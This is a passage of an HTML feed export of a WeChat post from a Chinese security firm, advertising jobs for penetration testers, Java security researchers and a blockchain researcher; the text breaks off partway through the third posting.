data-recommend-article-title="Unstable Stablecoins（下）" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495136&amp;idx=1&amp;sn=7e3f5693b8c0c7e4fd2203027fa1f0aa&amp;chksm=c286f2a6f5f17bb040ec864188b3dc032be39adbf28a46e7aed8b46dc89c7e7a3acdbcc2c94e#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495136&amp;idx=1&amp;sn=7e3f5693b8c0c7e4fd2203027fa1f0aa&amp;chksm=c286f2a6f5f17bb040ec864188b3dc032be39adbf28a46e7aed8b46dc89c7e7a3acdbcc2c94e&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">Unstable Stablecoins（下）</span></p></section></a></section><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247495003_1" data-recommend-article-time="1658396280" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldcfOy00HkI4YkNB6IA7h8jMAvq3TjwTENOEost5l54yys6YiaPibyCqvrUsOAFVQibfXOicwOeiaJjibLdQ/0?wx_fmt=jpeg" data-recommend-article-title="Unstable Stablecoins（上）" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;background: #f5f5f5;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">Unstable Stablecoins（上）</span></p></section></a></section><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247490099_1" data-recommend-article-time="1654855203" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldfXzWMAa9mf7arBjO0bymQibPO5jOGeBmEsJ0xljia75RDicrJyVaRR9EKOxauNTQoloXrcW9VYTlM6g/0?wx_fmt=jpeg" data-recommend-article-title="以太坊标准——EIP712" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">以太坊标准——EIP712</span></p></section></a></section><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247490054_1" data-recommend-article-time="1654769294" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDDv5cKHKQAm39TVnpgJlTKOElSLuoy5HhQnZSsgdRDzicR6ogQaWdHMA/0?wx_fmt=jpeg" data-recommend-article-title="走进区块链的第一步：mev浅析" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;background: #f5f5f5;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">走进区块链的第一步：mev浅析</span></p></section></a></section><section data-mpa-template="t" data-recommend-article-type="list-title" data-recomment-template-id="8" data-recommend-article-id="2247496569_1" data-recommend-article-time="1663561888" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldc17ZvmwlKlAghb5zSdNLw4EDBbudywCLHWOIWOaO12I30RyH5xO8z7mWrHo63eVI5iajTxuPOGDFg/0?wx_fmt=jpeg" data-recommend-article-title="职等你来，零鉴科技招人啦！" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496569&amp;idx=1&amp;sn=4f76c76667fa9f9265822a3e4fd4e3a6&amp;chksm=c286ec3ff5f16529e7ac45a276fcc2b7382219240148ab49de9914c232641653828ae41588e7#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496569&amp;idx=1&amp;sn=4f76c76667fa9f9265822a3e4fd4e3a6&amp;chksm=c286ec3ff5f16529e7ac45a276fcc2b7382219240148ab49de9914c232641653828ae41588e7&amp;scene=21#wechat_redirect" data-linktype="2"><section data-recommend-title="t" style="width: 100%;display: flex;justify-content: center;align-items: center;flex-wrap: nowrap;padding: 6px 16px 6px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;border-bottom:none !important;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid=""><span style="letter-spacing: 1px;">职等你来，零鉴科技招人啦！</span></p></section></a></section></section></section></section></section><section style="line-height: 2em;"><br/></section><section style="line-height: 2em;"><section style="display: none;margin-bottom: 16px;"><br/></section></section><section style="display: none;line-height: 2em;"><br/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499681">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=683b75cc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247499681%26idx%3D1%26sn%3D0b1461f02c3aeaf11f7a6ce183051706%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Feb 2023 14:59:00 +0800</pubDate>
    </item>
    <item>
      <title>职等你来，零鉴科技招人啦！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496569&amp;idx=1&amp;sn=4f76c76667fa9f9265822a3e4fd4e3a6</link>
      <description>叮～你有一份offer待查收！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-09-19 12:31</span> <span style="display: inline-block;">湖南</span>
</p>

<p>叮～你有一份offer待查收！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=545766a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldc17ZvmwlKlAghb5zSdNLw4RatodvywLVIlxZV7ShjN50snHZWcwxt0o4vsDWhV47EGZCYNZjB88A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor" data-mpa-powered-by="yiban.io"><section data-tools="135编辑器" data-id="114746"><section style="margin-right: auto;margin-left: auto;"><section style="width: 59%;margin: auto;max-width: 59% !important;" data-width="59%"><p style="line-height:1.75em;"><embed src="https://mmbiz.qpic.cn/mmbiz_svg/B2EfAOZfS1jAacxiaZEsLMEUXibQeHZ2KSCcnYEuRic2IfKcYeqFgILdZrX3Y2Cjd7RfHKERJaxmL0tjibL3Dwu62x4bOKdribdya/0?wx_fmt=svg" data-type="svg+xml" style="height: auto;"/></p></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="102525"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="background-image: linear-gradient(to right, rgba(253, 123, 119, 0) 0%, rgb(59, 92, 244) 100%);height: 1px;margin-left: 6px;flex: 1 1 0%;overflow: hidden;"><br/></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 30px;height: 30px;background: rgb(59, 92, 244);line-height: 30px;color: rgb(255, 255, 255);font-size: 16px;font-style: italic;transform: rotate(0deg);"><p style="line-height:1.75em;">1</p></section><section style="width: 30px;height: 30px;background: rgb(251, 226, 25);margin-left: 5px;margin-top: -25px;overflow: hidden;"><br/></section></section><section style="background-image: linear-gradient(to left, rgba(253, 123, 119, 0) 0%, rgb(251, 226, 25) 100%);height: 1px;flex: 1 1 0%;overflow: hidden;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="99884" data-color="#3b21ce"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;"><section style="display: inline-block;align-self: flex-end;margin-top: 25px;"><section style="height: 20px;background: rgb(250, 224, 25);align-self: flex-end;overflow: hidden;"><br/></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;text-align: left;color: rgb(59, 33, 206);margin-top: -10px;padding-right: 5px;"><p style="line-height:1.75em;"><strong>关于我们</strong></p></section></section><section style="width: 45px;height: 45px;border-radius: 100%;background: rgb(250, 224, 25);margin-left: 8px;align-self: flex-start;overflow: hidden;"><br/></section></section><section data-brushtype="text" style="font-size: 12px;letter-spacing: 1.5px;color: rgb(250, 224, 25);margin-top: 2px;"><p style="line-height:1.75em;"><strong>About Us</strong></p></section></section></section></section><section data-tools="135编辑器" data-id="117994"><section style="margin: 20px auto;"><section><section style="display:flex;justify-content: flex-start;"><section style="width: 15px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 19.65 11.26" style="display: block;"><g><g><path style="fill:#0060e8;" d="M9.4,0,6.63,11.26H0L4.65,0ZM19.65,0,16.78,11.26H10.25L14.92,0Z"></path></g></g></svg></section></section><section style="margin-top: 10px;padding-left: 5px;"><section style="border-left: 1px solid rgb(0, 96, 232);padding-bottom: 10px;"><section style="display: flex;justify-content: space-between;align-items: flex-end;"><section style="padding-right: 10px;padding-left: 10px;"><section style="transform-style: preserve-3d;display: inline-block;"><section style="font-size: 16px;color: rgb(0, 96, 232);padding-right: 8px;padding-left: 8px;transform: translateZ(10px);"><br/></section></section></section><section style="font-size: 24px;letter-spacing: 1.5px;color: #ffed53;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">长沙零鉴科技有限公司是一家以前沿安全技术为尖刀，高水平安全人才为支柱，在信息安全日益严峻的形势下专业从事网络信息安全技术的自主创新型企业，零鉴科技致力于打击网络犯罪领域的技术研究与产品研发。截至目前，零鉴科技已为不同省市的多家执法机关提供高效精确的反网络犯罪情报分析服务和优质的安全解决方案。</span></section></section></section><section style="width: 100%;" data-width="100%"><section style="width: 100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.6879194630872483" title="" data-type="png" data-w="596" data-width="100%" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=188f5e0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldc17ZvmwlKlAghb5zSdNLw4Qup7eicJzPTNzyNiayHibibJfciaT0tpI5GovLYzDc9GpibuXicNudhHFvnSQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section data-tools="135编辑器" data-id="102525"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="background-image: linear-gradient(to right, rgba(253, 123, 119, 0) 0%, #3b5cf4 100%);height: 1px;margin-left: 6px;flex: 1 1 0%;overflow: hidden;"><br/></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 30px;height: 30px;background: rgb(59, 92, 244);line-height: 30px;color: rgb(255, 255, 255);font-size: 16px;font-style: italic;transform: rotate(0deg);"><p style="line-height:1.75em;">2</p></section><section style="width: 30px;height: 30px;background: rgb(251, 226, 25);margin-left: 5px;margin-top: -25px;overflow: hidden;"><br/></section></section><section style="background-image: linear-gradient(to left, rgba(253, 123, 119, 0) 0%, #fbe219 100%);height: 1px;flex: 1 1 0%;overflow: hidden;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="99884"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;"><section style="display: inline-block;align-self: flex-end;margin-top: 25px;"><section style="height: 20px;background: rgb(251, 226, 25);align-self: flex-end;overflow: hidden;"><br/></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;text-align: left;color: rgb(59, 33, 206);margin-top: -10px;padding-right: 5px;"><p style="line-height:1.75em;"><strong>招聘岗位</strong></p></section></section><section style="width: 45px;height: 45px;border-radius: 100%;background: rgb(251, 226, 25);margin-left: 8px;align-self: flex-start;"><br/></section></section><section data-brushtype="text" style="font-size:12px;letter-spacing:1.5px;text-align: left;color:#fbe219;margin-top: 2px;"><p style="line-height:1.75em;"><strong>Jobs Wanted</strong></p></section></section></section></section><section data-tools="135编辑器" data-id="99881"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: left;"><section style="display:inline-block;"><section style="text-align: center;font-size:80px;color:#fbe219;"><br/></section><section style="margin-top: -80px;"><section data-brushtype="text" style="font-size:16px;letter-spacing:1.5px;text-align: center;color:#3b21ce;" hm_fix="335:525"><p style="line-height: 1.75em;text-align: left;"><span style="color: #fbe219;"><strong>一、</strong></span><span style="color:#ffff00;"></span><strong>内网渗透工程师（全职/实习）</strong><span style="caret-color: red;font-family: Calibri;"><strong>18-33</strong></span><span style="caret-color: red;font-family: 宋体;"><span style="font-family: Calibri;"><strong>k</strong></span></span><span style="caret-color: red;font-family: Calibri;"><strong> 14</strong></span><span style="caret-color: red;font-family: 宋体;"><strong>薪</strong></span></p></section><section style="display: flex;justify-content: center;align-items: center;padding-top: 10px;"><section style="width: 60%;height: 4px;background: rgb(59, 33, 206);overflow: hidden;max-width: 60% !important;" data-width="45%"><br/></section></section></section></section></section></section><section data-id="99870" data-tools="135编辑器" data-color="#3b21ce"><section style="margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 1em;"><section><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>岗位职责</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 根据项目需要，对经过合法授权的目标进行深入的渗透测试；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 前沿攻击红队的研究及工具研发；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 具备良好的文字功底，能够完成项目协作文档、分析文档的编写工作。</span></p></section></section></section><section style="margin-top: 1em;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>工作要求</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 熟悉BurpSuite、Nmap等漏洞检测工具, 熟练使用Kali操作系统及工具, 能够以手工或结合工具的方式进行黑盒白盒测试；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 熟悉Windows、Linux平台的攻击技巧. 关注最近的Web应用、系统的漏洞, 并能深入了解漏洞原理；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 熟悉SQL注入、XSS、CSRF等OWASP TOP10常见的Web安全漏洞原理、危害、利用方式、测试方法；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4. 熟悉PHP、JAVA、C#、Python、GO或JavaScript常用开发框架及库的安全漏洞问题原理；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">5. 熟练掌握一种或多种编程语言,能够独立开发测试脚本或安全工具；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">6. 熟悉大型网络渗透流程，拥有红队实战经验、后渗透经验和打击网络犯罪经验者优先；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">7. 无犯罪记录，不得有黑灰产从业经历与背景。</span></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);margin-top: 15px;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>加分项</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;"><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 参与过大型CTF比赛并获得较好名次；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 参与过新型涉网犯罪案件的研判和打击。</span></p></section></section></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="99881"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: left;"><section style="display:inline-block;"><section style="text-align: center;font-size:80px;color:#fbe219;"><br/></section><section style="margin-top: -80px;"><section data-brushtype="text" style="font-size:16px;letter-spacing:1.5px;text-align: center;color:#3b21ce;" hm_fix="335:525"><p style="line-height:1.75em;"><strong><span style="color: #fbe219;">二、</span></strong><span style="caret-color: red;font-family: 宋体;"><span style="font-family: Calibri;"><strong>JAVA</strong></span><strong>安全研究员  </strong></span><span style="caret-color: red;font-family: Calibri;"><strong>18-20</strong></span><span style="caret-color: red;font-family: 宋体;"><span style="font-family: Calibri;"><strong>k</strong></span></span><span style="caret-color: red;font-family: Calibri;"><strong> 14</strong></span><span style="caret-color: red;font-family: 宋体;"><strong>薪</strong></span></p></section><section style="display: flex;justify-content: center;align-items: center;padding-top: 10px;"><section style="width: 45%;height: 4px;background: rgb(59, 33, 206);overflow: hidden;max-width: 45% !important;" data-width="45%"><br/></section></section></section></section></section></section><section data-id="99870" data-tools="135编辑器" data-color="#3b21ce"><section style="margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 1em;"><section><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>岗位职责</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><p style="line-height:1.75em;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 配合团队进行红队工作，包括但不限于代码审计、脚本编写；</span></p><p style="line-height:1.75em;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 熟知与JAVA相关的常见漏洞原理及利用方式，关注和及时跟进业界最新的安全技术发展，独立完成漏洞分析、复现和利用脚本的编写；</span></p><p style="line-height:1.75em;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 日常研究JAVA相关漏洞和新型利用方式，并对涉及的业务系统进行漏洞挖掘；</span></p><p style="line-height:1.75em;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4. 对其他常见的业务系统或框架的漏洞及时跟进。</span></p></section><section style="margin-top: 1em;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>工作要求</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="line-height: 1.75em;"><span style="caret-color: red;">1. </span><span style="caret-color: red;">熟悉常规的渗透测试，对</span><span style="caret-color: red;">JAVA</span><span style="caret-color: red;">常见组件、应用漏洞可熟练利用，了解漏洞点、触发过程及原理；</span><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;"></span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 熟练掌握JAVA、python语言，能够独立编写工具、脚本；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 熟悉常见JAVA反序列化链条并具备一定的挖掘反序列化链条能力；</span></p><p style="line-height: 1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4. 具备一定的JAVA代码审计能力；</span></p><p style="line-height:1.75em;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">5. 统招本科及以上学历（能力突出者学历和专业不限）；</span></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);margin-top: 15px;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>加分项</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;"><p style="line-height: 1.75em;"><span style="caret-color: red;">1. </span><span style="caret-color: red;">开发过红队相关的工具、开源工具，有个人技术博客；</span><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;"></span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 具备大型、复杂网络环境下的渗透测试经验；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 有个人原创漏洞分析文章或提交过非CMS类的CVE，参加过业内知名CTF；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4. 熟悉GO语言并有一定的脚本编写能力。</span></p></section></section></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="99881"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: left;"><section style="display:inline-block;"><section style="text-align: center;font-size:80px;color:#fbe219;"><br/></section><section style="margin-top: -80px;"><section data-brushtype="text" style="font-size:16px;letter-spacing:1.5px;text-align: center;color:#3b21ce;" hm_fix="335:525"><p style="line-height:1.75em;"><strong><span style="color: #fbe219;">三、</span></strong><span style="caret-color: red;font-family: 宋体;"><strong>区块链研究员  </strong></span><span style="caret-color: red;font-family: Calibri;"><strong>18-33</strong></span><span style="caret-color: red;font-family: 宋体;"><span style="font-family: Calibri;"><strong>k</strong></span></span><span style="caret-color: red;font-family: Calibri;"><strong> 14</strong></span><span style="caret-color: red;font-family: 宋体;"><strong>薪</strong></span></p></section><section style="display: flex;justify-content: center;align-items: center;padding-top: 10px;"><section style="width: 45%;height: 4px;background: rgb(59, 33, 206);overflow: hidden;max-width: 45% !important;" data-width="45%"><br/></section></section></section></section></section></section><section data-id="99870" data-tools="135编辑器" data-color="#3b21ce"><section style="margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 1em;"><section><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>岗位职责</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><p style="line-height:1.75em;"><span style="color: #292929;font-size: 14px;caret-color: red;">1. </span><span style="color: #292929;font-size: 14px;caret-color: red;">研究区块链</span><span style="color: #292929;font-size: 14px;caret-color: red;">DAPP</span><span style="color: #292929;font-size: 14px;caret-color: red;">交互</span><span style="color: #292929;font-size: 14px;caret-color: red;">、</span><span style="color: #292929;font-size: 14px;caret-color: red;">合约调用</span><span style="color: #292929;font-size: 14px;caret-color: red;">与合约调用分析</span><span style="color: #292929;font-size: 14px;caret-color: red;">；</span><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;"></span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 阅读合约及编写合约调用代码；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 使用脚本分析合约的交易数据；</span></p><p><span style="font-size: 14px;color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4. 研究分析区块链行业动向，追踪区块链技术的发展动态，跟进新兴技术。</span></p></section><section style="margin-top: 1em;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>工作要求</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="line-height: 1.75em;"><span style="caret-color: red;">1. 